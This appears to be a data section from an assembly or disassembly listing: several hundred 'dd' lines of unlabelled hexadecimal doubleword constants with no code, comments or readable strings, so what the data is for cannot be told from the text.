dd 0CAB4332Bh, 9F306C8Dh, 12327B0Ch, 412A300Fh, 300F9Bh
dd 7D8B3A60h, 7B76A2B5h, 0A84B2B0Ah, 855C60CCh, 902260Ah
dd 6D6A76A4h, 90A48038h, 3CCA8E8h, 2578BA51h, 85E073E2h
dd 20CC6736h, 3C50830h, 6CA85935h, 2CA05D7Dh, 0D0CAB5D0h
dd 0E8238438h, 0A92C6860h, 78E4612Bh, 0F031C04Ah, 135CB032h
dd 0DA051426h, 0D7E014F0h, 802637E8h, 18F19B83h, 183F3978h
dd 2490C827h, 0C08E648h, 286BC225h, 78AC3A59h, 0B8879118h
dd 11805A41h, 33E5F070h, 803886B2h, 0A2050815h, 6545F0C4h
dd 534E1251h, 0FE400A96h, 0A147F8F4h, 99B96214h, 48A0CC4h
dd 5639E064h, 7C00C85Eh, 0CE60949Ah, 9300D1BCh, 40AE8FAAh
dd 1F76AB0Ah, 733636Eh, 407D8336h, 0DEB9DFB6h, 0EB0C23FAh
dd 8D55966h, 0F90C40D9h, 0D1299903h, 0E0FE7416h, 0F88E0F79h
dd 0BEB00339h, 0BA1CF501h, 0CB5E75A1h, 5A7F15C0h, 0BF0E18CFh
dd 0D7C3B51Ch, 0F62FC72h, 12939C08h, 4925C04h, 0BC03C97Ch
dd 3CE00C7Eh, 20C2FA4h, 10CD9475h, 0E7A00040h, 0BF223836h
dd 44098A7Ch, 809A77F8h, 33DA89ADh, 92323111h, 1A4E7C30h
dd 2D6BEA00h, 0D211395Fh, 2288E01h, 5DF49D95h, 3E1E1C4Fh
dd 507848EBh, 28997205h, 10C61020h, 0DBFC3194h, 0E0AF1288h
dd 59C41C72h, 4B3C4CBCh, 4A20377Fh, 1B0EBD5Dh, 90F078D4h
dd 40EF2FBBh, 96877A08h, 80A9DCF8h, 0A14C4CB1h, 9EA65908h
dd 0D9D200E4h, 0AC350169h, 605E4A23h, 0F335DCE8h, 80F478A1h
dd 0B72EF538h, 874FFC5Dh, 61EA3581h, 8453E5F0h, 5A711579h
dd 7DA26CF3h, 0D17F9581h, 4084413Ah, 0DD5AF098h, 557C01F2h
dd 1B246A55h, 6B8400D4h, 8B7FC74Fh, 0C3527110h, 0CCC23A48h
dd 875B4020h, 0F93C817Ch, 88D2AF35h, 0AFEF2C0h, 637C1B75h
dd 0DCC250F1h, 45414481h, 9808505Eh, 94AD721Ah, 0AEB6FE82h
dd 89221DDh, 6905EB7h, 0C1AF0308h, 163215D9h, 0DEE084B7h
dd 126143C7h, 0B83ED261h, 782CF9A9h, 0A00C8E49h, 0A0348896h
dd 0A3BCAFE6h, 0E19E0F20h, 0A0A06EC7h, 68361210h, 2494C0A1h
dd 8278DB08h, 514DD515h, 2880A04Ch, 4911629Ch, 5C480AB2h
dd 44935140h, 0B779DFC0h, 38AF6089h, 72951F52h, 4B63DC15h
dd 0E68CE0B4h, 399A6173h, 305F24F2h, 5157414Ch, 0D9278180h
dd 39A0CD49h, 385E62E8h, 70B44B6Eh, 10230C39h, 3209ACA7h
dd 98AD8133h, 37700CE8h, 68475100h, 61D64C70h, 6318006Eh
dd 0F0A798AEh, 0AA3D89A5h, 1101FEC9h, 0B6FC48Dh, 1C4846F5h
dd 0FFEFED2h, 9956CA02h, 8AA0446Fh, 0D56F314Ah, 0E0835121h
dd 3810057Eh, 0E7706260h, 208A46F9h, 9121DF0Ah, 71EDE081h
dd 7E60E610h, 4AB08738h
dd 0C4EA748Ah, 3C82D170h, 57F208DEh, 270067C2h, 0A899F7Ah
dd 0EA08C617h, 0CA2B80F3h, 0A16078C8h, 0ED13B123h, 9DC74884h
dd 0F5350FA5h, 16DBA078h, 730A2078h, 0C71EE1B0h, 9F586E5Ch
dd 0F8AF0B08h, 86260083h, 0D82AED22h, 0FB00C3F9h, 7BA832B7h
dd 0E473BDh, 0F12BE7E3h, 2E5CC8CEh, 43386962h, 3D7E1E25h
dd 0D5123300h, 17912B7Dh, 0AE5C01C9h, 39827FFh, 3F030F22h
dd 0E444D1E3h, 73B17001h, 77EE5C61h, 0A62D098Fh, 48F80E06h
dd 8087C373h, 0E00F8220h, 2B08E84Eh, 3E601551h, 8E0A3BBAh
dd 0D07C27FDh, 0E51839CDh, 71404F38h, 0F888ED31h, 0ADF02D34h
dd 929E184Ch, 0AF113873h, 36F83D62h, 0A083C2Dh, 866780D5h
dd 0A83A0631h, 742D372Bh, 46EB4740h, 0D1D0A8ECh, 0AE38C26Bh
dd 70B6288Bh, 5CC71126h, 0E9F1A830h, 4063813Eh, 0CA514E90h
dd 4F9B4A1h, 885783Ch, 6DDFC69Dh, 48A6910Ch, 2ED8400Eh
dd 7CBD502Bh, 0CE82D749h, 1440D613h, 0FF0566B1h, 0BDC3CE5Ch
dd 74E57C68h, 0D356332Bh, 74835138h, 7C387868h, 6482B0D3h
dd 3888F7ACh, 0EE050771h, 7468B525h, 517D1802h, 751139AAh
dd 232F03E3h, 13E0C3E9h, 89399DFAh, 5172D431h, 5CA02E42h
dd 18615383h, 70A5D139h, 8EADD442h, 10818C94h, 6E4D40EEh
dd 183C7832h, 8E98403Dh, 1210DDA5h, 4EDC0690h, 0EE240860h
dd 0FEF810DFh, 278B31E1h, 4108F179h, 0BAB42E94h, 38371868h
dd 0AF28C070h, 0C4EC019Ch, 209A81B9h, 97289150h, 6831F037h
dd 3E10836h, 8CC93101h, 0C0048C58h, 2FC9CC6Ch, 0DC2B0E18h
dd 1CC0B028h, 404D7CC9h, 5D32B1D9h, 0BEC7F0A4h, 6B2D02B0h
dd 7A2C7B5Eh, 8CCE2441h, 78068891h, 88C7657Ch, 17987CC0h
dd 63DE1518h, 0C4D77181h, 0C1102E48h, 3B6E00h, 0AD9E43h
dd 0FF91FD7Ch, 0DE40D3A7h, 48B86C00h, 214E3E6Eh, 3F75730Eh
dd 71F13777h, 13C614D7h, 0F4B01C99h, 0EB2066EDh, 0AD410022h
dd 937E022Ch, 0DE1E0F99h, 1F3A9724h, 3E066410h, 3110630Ah
dd 360865FBh, 691EF05Eh, 0CC3E5F40h, 9E284919h, 51889036h
dd 7C5DF808h, 0FBE192Ah, 867F1862h, 0F3DC3E30h, 0F0AB3E20h
dd 0EFE55E0Ch, 47CC110h, 4F67FE02h, 969CD3C6h, 0C2360064h
dd 0A46D38B1h, 9666E175h, 19C88169h, 909C7B9Eh, 5ED0844Ch
dd 0BE0D88E6h, 8DFAE1D8h, 0C87BFE88h, 0C60758F1h, 0E263E137h
dd 2A2D9E10h, 6384ED09h, 0ABFEC8A6h, 7936087Ch, 180879F0h
dd 0E82BF63Eh, 408163FCh, 0F0DD3998h, 0EE64819Eh, 0FE039808h
dd 1031FF1Bh, 3A5190Fh, 84CA3894h, 0E8D67E14h, 0F09D9310h
dd 2876A8A9h, 188463BDh, 40C5FE01h, 60C161ACh, 53C6DC9Dh
dd 0B6802426h, 6F196356h, 6BA140C3h, 0AAD020C4h, 0DC9CDE12h
dd 15F32878h, 0C4B72629h, 805BC118h, 0CB65451Eh, 0EC1DCC88h
dd 8CAEE0Ch, 0ECDC579Fh, 0DA2BA181h, 686110E2h, 938CA1C2h
dd 9D07645Bh, 6893A95Eh, 0BC248108h, 3DC160D6h, 8CF5D9A4h
dd 0C0362139h, 0D7D12B7Eh, 1A8F4F54h, 9327CCE4h, 0A91587A4h
dd 0E0D8E479h, 617E521Fh, 54E17194h, 0AE3C207Dh, 0D8087968h
dd 0FC550A54h, 4FF89CFEh, 9F78236Ch, 9F745456h, 0BCF8953Eh
dd 98A11EACh, 0BE98E8E4h, 0C4298B78h, 82F48210h, 0D88EFC1Ch
dd 4CCD885h, 78D6A9DCh, 0E9AC1867h, 0BAC1994Ch, 0F324687Fh
dd 9300E435h, 781A22F8h, 1D9C00EAh, 0A7BBAA0h, 0AA00617Fh
dd 3D14B919h, 89DC0Fh, 0CD5F51DEh, 0E41F50ADh, 569E1CA5h
dd 6B42CE44h, 0D853FC00h, 1103BF51h, 0BE3F745Bh, 0F3081E6Eh
dd 55023EFAh, 0E3DF508Fh, 0B0042896h, 1509BD52h, 38FE981Fh
dd 88C4CCDFh, 0CC3DE69Fh, 37200EDBh, 0E9BC0012h, 0B7A31DE4h
dd 4100F7AEh, 5F74B4EBh, 1D5195C0h, 73D25FFh, 0C1DC5E7Fh
dd 81BD989Fh, 0F74CAE08h, 3086AB61h, 80C99B3Fh, 88E58A28h
dd 0BF8CF950h, 640FCE41h, 0BF98993Ah, 205C9117h, 0A1F7B107h
dd 0E143AFFAh, 0D1091FFFh, 5AC1041Dh, 600F0CAEh, 0C5B579DFh
dd 7876E878h, 3A15AEC0h, 3BDC0D62h, 0F7B4867Ch, 0E958BF01h
dd 816818DBh, 421608Ch, 0B91410DDh, 0EA9F08D4h, 7D160106h
dd 4BC55F50h, 6D9F0E34h, 1CD11867h, 48836346h, 0B030E161h
dd 751FB868h, 0FF740AB3h, 0F0D8ABBCh, 0E500B352h, 0F6BDD3Bh
dd 0A1B0133Ch, 488408D4h, 34017B9Fh, 0B82EB46Ch, 0C3D3E805h
dd 8A3DDC48h, 0B574F81Ch, 0ABA21F85h, 1862A078h, 0D929B464h
dd 47514EFCh, 8878A3CCh, 0E3A243C0h, 78DC6F6Eh, 2B4750DEh
dd 0A2607CB9h, 89286B91h, 1F705EBCh, 0F358CE4Fh, 48CF5C31h
dd 0BF2B1416h, 883D606Ch, 0DA61E515h, 17CD7C38h, 0BE06D842h
dd 0AD090CF4h, 1C39D445h, 44F83D24h, 9F47814h, 63A9D7Fh
dd 14086680h, 0D43444FFh, 0B859AA14h, 6A2C612h, 3868AEF4h
dd 0C6F4724h, 70099218h, 7FF0A190h, 23FF0886h, 0E33E10DCh
dd 793F08D7h, 0CC610D9h, 38ECB2BFh, 0C0D24889h, 60677B38h
dd 50F08D8h, 0CA0C1F75h, 571B3862h, 4081C07Dh, 1073C607h
dd 0CCDB703Ch, 0F8096F38h, 0D17F80C6h, 400EE8C8h, 0D4AFA0A3h
dd 0AA74278Bh, 48C44A8h, 63873814h, 0DB7E8D8h, 8C96E026h
dd 605AB1BDh, 88C4201h, 2818CDFBh, 0A0F06365h, 1890F07Ch
dd 0C92194C8h, 1265B0FCh, 0F07C1F48h, 898C3C49h, 79FCD020h
dd 71538D6h, 552FF15Ch, 8BDF03F8h, 701513D3h, 0E08C76EAh
dd 20CA410Bh, 5C10DED0h, 6C181258h, 8903E8E4h, 78D908CAh
dd 2A4EA3D8h, 14B0187Dh, 0D8DFBD7Ch, 1F2B0D20h, 0A9607C14h
dd 0C461E8F8h, 81D51C41h, 4120BF68h, 5FDD3FD0h, 14F05080h
dd 6DC1D012h, 80DA1C0Ch, 0F09B551Fh, 80104FCEh, 834C8E31h
dd 18155FAh, 2A3FB88Dh, 0BA2C3140h, 8103150h, 2920DE7Fh
dd 8C5FE91Fh, 0D1B3EC03h, 980DCC1Ch, 487324FCh, 5AFF598Dh
dd 52ECD1E8h, 40401898h, 5C48E47Fh, 29171BA4h, 0CC91BD08h
dd 0A45E95F8h, 4A84F803h, 0C87EFBDAh, 0A472CE28h, 0E0A038D1h
dd 3181DD92h, 0BC38E62Fh, 0E5FF0117h, 779C6C04h, 69C4BB08h
dd 0E85C0CC5h, 4CBBCC39h, 156A20E0h, 8CCA500Ch, 0ADE22B7Ch
dd 588406Ch, 8A051C2h, 0E1181816h, 7C78F8A2h, 94FF5009h
dd 372EB027h, 0A210151Fh, 7CB48F47h, 31B9F89Fh, 1C48E4DAh
dd 0F8506439h, 3BDC89Ah, 3860C13Bh, 0E2501309h, 1109C0C7h
dd 31D3211Fh, 331E3274h, 930E3509h, 0F304DFC8h, 9B004640h
dd 2AD324FAh, 15F8CB74h, 0AF10CD63h, 5893E013h, 0CC9D0EA9h
dd 0AC837365h, 2CC05BF5h, 980C6CC2h, 8E6BB8Ch, 1F6D780Eh
dd 0C6F41CCh, 0EC20A62Ch, 99EABB1Fh, 0D3D87700h, 525ABDh
dd 0F10A95D4h, 7B38AD03h, 8E64B28h, 3499E300h, 6B45868h
dd 0B5CA307Ah, 98EAFD78h, 8CEEEE8h, 80108FECh, 99C2776Ch
dd 305D524Ch, 3B715BC1h, 0DA518CF5h, 2B4CA07Fh, 401CC16Dh
dd 0AF9D8B61h, 88BA01F9h, 670CD08Ch, 56438C70h, 540EE5C3h
dd 6837FA8h, 0C2641A15h, 0DAF7E080h, 0A1406105h, 561028FAh
dd 0C2138B8h, 96E3EF57h, 0A17FC7D2h, 0CF681B56h, 442E8667h
dd 53A7769h, 2A4C9D13h, 0F9686801h, 0A1710800h, 9A06B3A6h
dd 0ECA0C2FBh, 6CB4C5FEh, 3DBE5614h, 8A7A1038h, 1183EC0Eh
dd 812A0C84h, 0BC6C4C18h, 198B1408h, 18A512ECh, 6ACD2004h
dd 79C5D105h, 0A668E484h, 1959BE20h, 681F33DAh, 0C00C2774h
dd 2799D9A9h, 0F081516Ah, 74A12BEFh, 0DF24E0F0h, 39C4981Fh
dd 4C03831Ah, 0D82B1E97h
dd 0ECE08CCCh, 0A85EF304h, 48C2FAA8h, 0CE2BA09Dh, 27E36074h
dd 39DFD171h, 189EA0C8h, 0E52C0844h, 88A89C51h, 0AE1EC11h
dd 1EB0630Ch, 0CC18602Ch, 0AE20E6B9h, 636CF86Eh, 2DAC18FDh
dd 85322878h, 837C38E7h, 0A4788CC4h, 86FFD06h, 446C7620h
dd 6D407CAFh, 60ED56F5h, 0C1077980h, 9CA01573h, 63505F3Ah
dd 0B8AF7298h, 37C19B81h, 9A000BDBh, 4098B2A9h, 0C0B4C957h
dd 0EBB9DFFCh, 7A38C810h, 0B1110C85h, 0B37BF404h, 602D20C2h
dd 0FB854C28h, 12A0188Ah, 0C8D215E8h, 3DFE92F0h, 60C212E4h
dd 409D86DAh, 93012BDCh, 85E3C03Ch, 12441FBAh, 38B566D1h
dd 8E48A127h, 0D6637808h, 30138B99h, 8CA0EF20h, 98AFC11Ah
dd 94254802h, 1A14485Dh, 6CF0C56Bh, 0CF987CC3h, 0E05D1008h
dd 3EFA0911h, 460E40BEh, 0C87B280Eh, 0A2710181h, 2738361Eh
dd 6E2FC1BCh, 39894ED6h, 2889D23Ah, 424188Ah, 8221CBACh
dd 38405A40h, 30B2E2CCh, 4C5C3649h, 0F31062D0h, 0A84BCEDh
dd 7EC449DAh, 729A80B4h, 15F61ECCh, 6C248C90h, 5391A045h
dd 8740443Ch, 57F29C40h, 0F8198EDh, 11E6A88Dh, 7460BA7Ah
dd 0F05D424Ch, 283DF7A4h, 1D4BD11h, 1EC7213Ah, 42C8AB56h
dd 0C0BE61D8h, 8200288Ch, 0E70C822h, 4DE1D8C3h, 5212D850h
dd 581C056Ah, 852869F3h, 1517F590h, 4B7A2021h, 0B0136C00h
dd 66A2CCA0h, 0F5E2D0F1h, 458EB0C4h, 18737706h, 9CC1362Bh
dd 2328A8CCh, 0DA0C0FBEh, 58866941h, 0F912F837h, 87C0834h
dd 107D2C06h, 0EEDC2818h, 946528E0h, 8026FD8h, 10D34F86h
dd 0E02BCB28h, 0F6946E49h, 98ED11F0h, 6EBA820Bh, 1F006168h
dd 90ECF09Dh, 36251937h, 98BE8580h, 26CF0210h, 45961C69h
dd 0A8726C4Dh, 0C51E06D0h, 4269020h, 8762A0C0h, 828D2438h
dd 4448B56Ch, 0B8C6EF31h, 3120A3DDh, 8E10A123h, 99208C97h
dd 40B218D5h, 28646704h, 9092F610h, 0A0B84F73h, 561811B8h
dd 0B71A840Eh, 45FB8C05h, 0D3544ECh, 90E099B8h, 1E333610h
dd 488C6CE8h, 3C203E77h, 0E9C57890h, 9C065BC5h, 2A18587Dh
dd 509486D9h, 6234A49Ah, 9467B895h, 0E8E0DE06h, 4CD0C38Fh
dd 8831290Fh, 0D7ACE87Bh, 1D6CE441h, 155C7C05h, 492E0442h
dd 2CFA00BCh, 0CEC662B0h, 465F8207h, 8641C592h, 66E09FCCh
dd 1F9B7C43h, 7560D26h, 0C0F5E5E6h, 622D2906h, 574D8F0h
dd 23F4661Eh, 0E1CF2606h, 90C13010h, 63BF7908h, 0D60752F8h
dd 607F3729h, 0BD2F5F70h, 0A74600D9h, 63386270h, 130122B9h
dd 9BD40F6Ch, 90994E2Dh, 0B17199F6h, 73665141h, 0C381030Fh
dd 9C2E7BCFh, 12C6BB31h, 0B466038Fh, 5186A831h, 504F77A6h
dd 2A82120Ah, 845B4228h, 0EFD68600h, 37060062h, 71E663CDh
dd 92007674h, 8A43EAF1h, 0B664BA1h, 1C451BABh, 4F394880h
dd 7900E6BEh, 43BB5671h, 7403EBFCh, 0AF8B1F42h, 0E2EA4659h
dd 561F18F3h, 8C0E8F1Eh, 0CA0B835Bh, 0CDCBC1B1h, 61EB0887h
dd 0A42BC2FAh, 490C4B00h, 0E4CB2980h, 0DA396044h, 0BC467B7Fh
dd 380DB618h, 60A7058Bh, 0E4560C88h, 0B875C696h, 0ABE807E4h
dd 6B089261h, 188F29FBh, 2BC625C4h, 0EB0108CFh, 6B8FA7D7h
dd 0B08C676Ah, 90E00582h, 29803A3Ch, 77E25C09h, 0EFF638F0h
dd 0CCAB9CA0h, 0F14EA4A8h, 0D7304BF0h, 3BDF6899h, 0A70B7180h
dd 57AC886Ch, 0D60FD144h, 96C8C88Ch, 0A1A83A52h, 8509453Fh
dd 0A8CA3641h, 0E423CC04h, 2A3AE805h, 41D414B0h, 0FD16C444h
dd 8D0B0480h, 848C97Fh, 0E8EB0402h, 0C78A9895h, 76604C46h
dd 188FB257h, 485C12ABh, 58D01E98h, 9BAA894h, 0E7FA6C34h
dd 82A85C23h, 597D3819h, 9885FD50h, 783BC1CBh, 3D099A98h
dd 23D75804h, 681D963Ch, 0F0903848h, 729C3A8h, 969E688Ch
dd 0E6843BD5h, 5CFC2B70h, 0A4F68AACh, 7010DB78h, 0F8886237h
dd 70A4D60Ah, 52505CF8h, 361C1CA0h, 0AA89BA5Dh, 0E402B04Eh
dd 5440B765h, 8C9CAB2h, 0EB5C017Ah, 305AFB83h, 63179862h
dd 667C1638h, 50DD40A4h, 93476B12h, 70FDC00Dh, 402790D1h
dd 4C6CB8D8h, 1B76248Eh, 3F5189F0h, 93BD4404h, 101B61B4h
dd 0A4B86F6Bh, 0B0C06B8h, 2A705B49h, 4F08A663h, 0A4F030A8h
dd 69E2EB08h, 932B1890h, 0FFC2743Ah, 0CA563864h, 40BA2B80h
dd 2A500708h, 1F514A0h, 20992C96h, 34AE715Bh, 0F8AFBE30h
dd 0BC2380A0h, 0C0B68C33h, 85244B70h, 6F1854ABh, 8077EB08h
dd 89487F8Bh, 96FE18F4h, 0E99A9878h, 0A05472F8h, 0C6BC73F8h
dd 8091598h, 9406D128h, 0D5CF64Ch, 10CD6FCBh, 4098CFE5h
dd 2EBD084h, 0BD48C163h, 44283AC2h, 29643640h, 0C1F8F08h
dd 0CF282DEFh, 63D42E50h, 0B32B08CEh, 0F30E8446h, 0F4133720h
dd 28D69638h, 18768532h, 742C6969h, 490B0C30h, 0D231E409h
dd 4097AB08h, 1ECD2BE4h, 844F8CCh, 8B59406Bh, 8DF87354h
dd 373150B2h, 0A7E320A5h, 0CC44103h, 4083193Ah, 0D0A2DEA9h
dd 4B28BC0Ch, 40C679B0h, 3368673Bh, 0AD106A10h, 0E3BF191Bh
dd 8B100C91h, 0A598110Dh, 0D6CB28C3h, 313818F8h, 0E18908FAh
dd 0E41918DCh, 1437BB30h, 7F1138D4h, 8096CF63h, 27D509FCh
dd 0D48C39ADh, 351E9C3Ch, 140871B6h, 0AC75E088h, 658A61BDh
dd 81B5A0C3h, 6195F0FFh, 3BD5101Ah, 1C15F001h, 8349F580h
dd 90DDEFA1h, 0D50C9430h, 0F2487716h, 0D1408CF5h, 0C3283878h
dd 0B527508h, 701E1831h, 11904E35h, 5C151C08h, 39F03020h
dd 75941E20h, 0CE89F500h, 447DFC83h, 2DF400B6h, 161593A5h
dd 8E3BC197h, 28BA802Ah, 6084D374h, 0B5F8C358h, 8019EB0h
dd 348CB4E5h, 3001B320h, 0D4F89413h, 763C7484h, 0F551BD7h
dd 2A28E3D8h, 3D889609h, 35949534h, 24B04468h, 0CD22C21Dh
dd 40774030h, 8C903E02h, 83FE0214h, 37E565B8h, 0C28817E0h
dd 87039E1Dh, 36A81E85h, 0F2950747h, 9315C1EDh, 468447F4h
dd 2B6D900Ah, 881B3088h, 2CBA010Ah, 65A04044h, 54128C8Fh
dd 80A1694h, 0B50AAC23h, 52786885h, 80078EDFh, 0B48CA1BDh
dd 2BB81CD6h, 4C24A381h, 0C3471990h, 18A3E010h, 9450AE34h
dd 908350BDh, 0B8DB507Bh, 0F5F0C37Eh, 0F824B3E2h, 23923015h
dd 141B087Ch, 824CB2Bh, 140C0502h, 84A26125h, 20B49541h
dd 78681A03h, 36B9D7EEh, 0E03037F0h, 0A7603885h, 29D2079h
dd 0C084D491h, 0D8BC9462h, 8B46AA06h, 24308D5Eh, 0F8342A20h
dd 0CB1B5742h, 8230A385h, 83889F1Dh, 359AC77Fh, 7024D5C3h
dd 0E5F9041Dh, 8B96E8h, 7CCE76D3h, 70EB165Bh, 81096961h
dd 0C1EFD168h, 2C60B5EFh, 0D62D00EEh, 0FBA4F0C4h, 27309650h
dd 0E9EC305Ch, 0A138C06Ah, 0C7B5909Bh, 0AD000CFEh, 4B1163B4h
dd 1D60936h, 8103ABA5h, 706DB70Dh, 700DF30Eh, 410C64CBh
dd 58E84BDCh, 0FD071476h, 0B1960474h, 0F04CFF68h, 9C000839h
dd 0D7987C2Dh, 38063187h, 78F553Fh, 0F0603209h, 89EF5F8h
dd 0FBBB993Ch, 278CE400h, 0E604A9A6h, 0E05D0012h, 0AB5735C6h
dd 0A50C8389h, 81EC03B3h, 6EEA0087h, 71A3D759h, 3F1E4273h
dd 3AC0E319h, 0FC3BD15Ch, 369E036Fh, 0D80111ABh, 9BFD3900h
dd 43282C2Bh, 19DB0040h, 67D4A182h, 701F8BEDh, 54C003E3h
dd 0BB1657D2h, 144E2884h, 30247478h, 4C1017FAh, 530018DAh
dd 948A1DEEh, 1321EF5h, 0D1E831FCh, 504B8302h, 0A19F4FD4h
dd 3278D503h, 0E0193771h, 0F63775Bh, 0C4EA9C6h, 41DE3FC1h
dd 0CF2BC0F3h, 0C439BB00h
dd 75700704h, 0E0223B4Bh, 0E9DE6D80h, 0E7525F8Ah, 91C87800h
dd 0B4571F10h, 0B93900FDh, 7149D2B6h, 0D70F699Dh, 3BC483Ch
dd 87AA67h, 90B53B58h, 0B91BEBEDh, 30BB1437h, 0F975ADC0h
dd 1BA47F76h, 38FA65B7h, 0EB2A5DE0h, 820003FAh, 5566C0E9h
dd 6F0ADC5h, 6768C625h, 9D0028B7h, 83CB4179h, 77477C9h
dd 0FF9BD5DCh, 0ED974036h, 0FC00A7C0h, 0C3B6FBCDh, 0F6B3921h
dd 5F33DA42h, 0D8F30F5Fh, 1A73CBA0h, 32029C2Dh, 907E1B13h
dd 0DA88A386h, 0D20800C8h, 15773B58h, 0EF00C27Ch, 0BC08CBB4h
dd 9DBAB7h, 8206DC25h, 0C5D591FDh, 0F68EC02h, 43E627E5h
dd 0FF36AB21h, 0F0B7F621h, 6BCCC8h, 1D3F2997h, 0FDBB7FB5h
dd 0D0552714h, 0F85158Ch, 31A90084h, 9F16E1EDh, 14011DC5h
dd 8E1E81A2h, 941F7576h, 9E045710h, 10C3B9CCh, 0FE6F009Fh
dd 0FF52B791h, 51E0DF6Eh, 55E75600h, 0D38FACB2h, 7DB100E1h
dd 0B8A6A250h, 0A130B352h, 3CDC28E0h, 0D5CB80CFh, 28419789h
dd 42178A37h, 87045490h, 0B41F6120h, 0C08BEB80h, 0D0CE8228h
dd 0CD006C3Eh, 1598BC71h, 1E17701h, 2FD23BA1h, 307938DDh
dd 483C6E0Bh, 8761B922h, 8C7EA7CAh, 119C5CE0h, 8A665CBEh
dd 48BCB303h, 86C0174Ch, 40008055h, 0A71BA996h, 7E5F264h
dd 0BA9C61AAh, 8AEF0ABh, 0D8729814h, 3B7C883Ch, 0CE7A9E93h
dd 4B7BD080h, 22E75Eh, 2A2E1AA0h, 543D02BDh, 1D47EE39h
dd 80FA48B6h, 0E81D37CAh, 0AB7543h, 0F3C39A6Fh, 40E7BB58h
dd 8C1ED600h, 838BD170h, 0F63A0039h, 0D090AB02h, 7B013692h
dd 0D66A2DE3h, 0D0408B09h, 0FD3879h, 2BB6930h, 89CC7B37h
dd 70AF0405h, 7B816DB0h, 92EC4B7Ch, 0A8F500C3h, 58EF0264h
dd 8100C6DBh, 0C80655F9h, 193CCB6h, 0AC37BD11h, 0C8F35617h
dd 9A00CDBBh, 7C5B08F9h, 0F289B33h, 0B111CC26h, 87A55E84h
dd 4517A018h, 483A4421h, 24865C7Bh, 2500EE62h, 0A4997AE4h
dd 74C0057h, 826EFE1h, 0F71F8CDBh, 0FDC0793Fh, 14419790h
dd 0B95A0A8Dh, 0A9A66Ch, 2DBC313Ah, 911E8477h, 0DC5C36CAh
dd 0E6C4C500h, 1EB98257h, 0D46AE1AFh, 1E03A403h, 91425DCAh
dd 0C299E9E8h, 0E875C8E1h, 0DA498607h, 0C330D15Bh, 939516Dh
dd 4C388993h, 0AF52AE84h, 8D155700h, 2F547Ch, 0E36DE1Fh
dd 208B1AF2h, 0BD0CB170h, 48D4C71Ch, 84750181h, 0CE6B48ADh
dd 6D9C2447h, 300D5ECh, 96ED3F78h, 5C758F53h, 0D1074ABFh
dd 60378DA3h, 0D2D61CDDh, 0D5175600h, 0FE2EC943h, 0C78203D3h
dd 24DC5B9Eh, 5022E800h, 87275908h, 7120001Eh, 0E7D692B2h
dd 9400E0F2h, 0C399A04Ch, 0C08007D3h, 132C698Ch, 0C848A230h
dd 0D95503F4h, 0A8023F83h, 45C7B7h, 25D8244Ah, 20FF13DBh
dd 0CF488207h, 0C212A0DDh, 8755600Dh, 99C5008Bh, 16915EEFh
dd 0ED0F6F76h, 71FB10h, 889C0D0h, 0B319001Eh, 4E942546h
dd 0D4001BF5h, 24BCCDDDh, 9D5BC6h, 28A9AF7h, 0EE415450h
dd 0DDF2000h, 33C247B9h, 1C01EEB6h, 541E362Ch, 0B01E5F3h
dd 0D2EC9CAEh, 0B20FD43Fh, 90BAEF30h, 7DE39281h, 0E07000C4h
dd 2DC5031Bh, 1800EC5Fh, 7C327E19h, 52740Ah, 4BD9FE41h
dd 84518C17h, 1D3D6700h, 8BA609EAh, 0D69075h, 352DD881h
dd 8AEB7052h, 9A9C7307h, 4AF54BD3h, 0AF80A087h, 0F07A6F5Eh
dd 7F780076h, 39A27BEFh, 88009B1Ch, 4CC955A3h, 9C1896h
dd 9E2371C3h, 54A9EE15h, 1B3D6E00h, 0FBE2B62Ch, 44400026h
dd 0CEEB7439h, 280EE48Ah, 0A3F885h, 3EB40605h, 0A56F000Eh
dd 0A9A24C1h, 4200132Eh, 104E81E5h, 6FD09h, 0F8AE49CEh
dd 3633DD04h, 0CC6D750Eh, 3F5AC05Ch, 0A04F63h, 0F4B91696h
dd 44B12D67h, 0DDC8F807h, 41010420h, 10F49F4Ch, 5A7300A0h
dd 40B2F596h, 5B0FDD39h, 279C757h, 5D2CBAC5h, 9B61C9E0h
dd 0F9568C00h, 354F3170h, 0FF87DCFh, 9F740CCh, 8FFB1C00h
dd 4C00CA85h, 4ADCA30Ah, 1D1915Fh, 0AB63E6D2h, 0D8FCE857h
dd 30000E0Fh, 1FA048F5h, 8DD7C1h, 2A4D4782h, 0CF77B6F0h
dd 0B2853000h, 5AE6885Dh, 0F347FC7h, 630A3642h, 53AE3260h
dd 99E25BB1h, 34446500h, 5F9A2BF9h, 95B2005Ch, 0DA4B40A6h
dd 6800E55Ah, 11DBCC2Ch, 3AEB152Dh, 3A806B9Bh, 0C4EE1450h
dd 2B133739h, 0C901D67Dh, 687491F1h, 2140B080h, 0E2EDC61Fh
dd 30C32F2Eh, 0E9038413h, 0C8F75043h, 31A381h, 0B4B04486h
dd 7E4CCC9Ah, 1447171Ch, 0A5B7C880h, 1C27DCh, 81686C4Fh
dd 0D7D210C0h, 0A073E201h, 93E3F27Eh, 165CF0h, 5B8D8231h
dd 888EA9Bh, 4E2D8B00h, 5A44C941h, 4C431C50h, 17FE4035h
dd 7E450A53h, 0D4DF7200h, 868DC7F0h, 0E6B70082h, 88CB6F69h
dd 0F6008391h, 6B7E2604h, 0E0C828h, 378EBA44h, 5F5C9CDFh
dd 4357DC00h, 8412369Fh, 0D6BC00BFh, 0F17F0552h, 0FF00AC04h
dd 0A37B0288h, 15871ECh, 0DDBE5E0Dh, 0F00C4131h, 0BB04B806h
dd 68D33E64h, 0CB5964C0h, 954FE61Bh, 0F2A855C0h, 0FFF60C00h
dd 0DCFA781Dh, 5D1C0047h, 2F628DCAh, 59010A93h, 7C1A8FB2h
dd 73131F9h, 0FD49FD8h, 9D7DC998h, 818CE7E0h, 3400F851h
dd 551842D7h, 6B3D5Ch, 0A7F4F0B3h, 0FCBA4D90h, 0F1744403h
dd 0B8112494h, 1FF8084Eh, 3B5A828h, 975B4346h, 834F3CE0h
dd 0C19FD00h, 0BA4D429h, 52EA0016h, 3903DB5Fh, 9F98E41Eh
dd 1D7D2E07h, 0C4B54493h, 0BED65880h, 3F6E4B6h, 0B0521EB2h
dd 41F8D99Bh, 8B24063Ch, 0F38E7030h, 4DA66050h, 376550Ch
dd 0E5F93152h, 0E90DAEBh, 8D0091D7h, 3BE741FFh, 261D98C4h
dd 352A9Bh, 0F4BFCFA1h, 0E000880Bh, 0DF564273h, 32C1D9h
dd 119282E4h, 5A355178h, 1A0014B8h, 0ED01FB0Ch, 2807EFh
dd 0BD580393h, 0AE66D565h, 0C0BE3600h, 0E4157C2Ch, 5C1FE027h
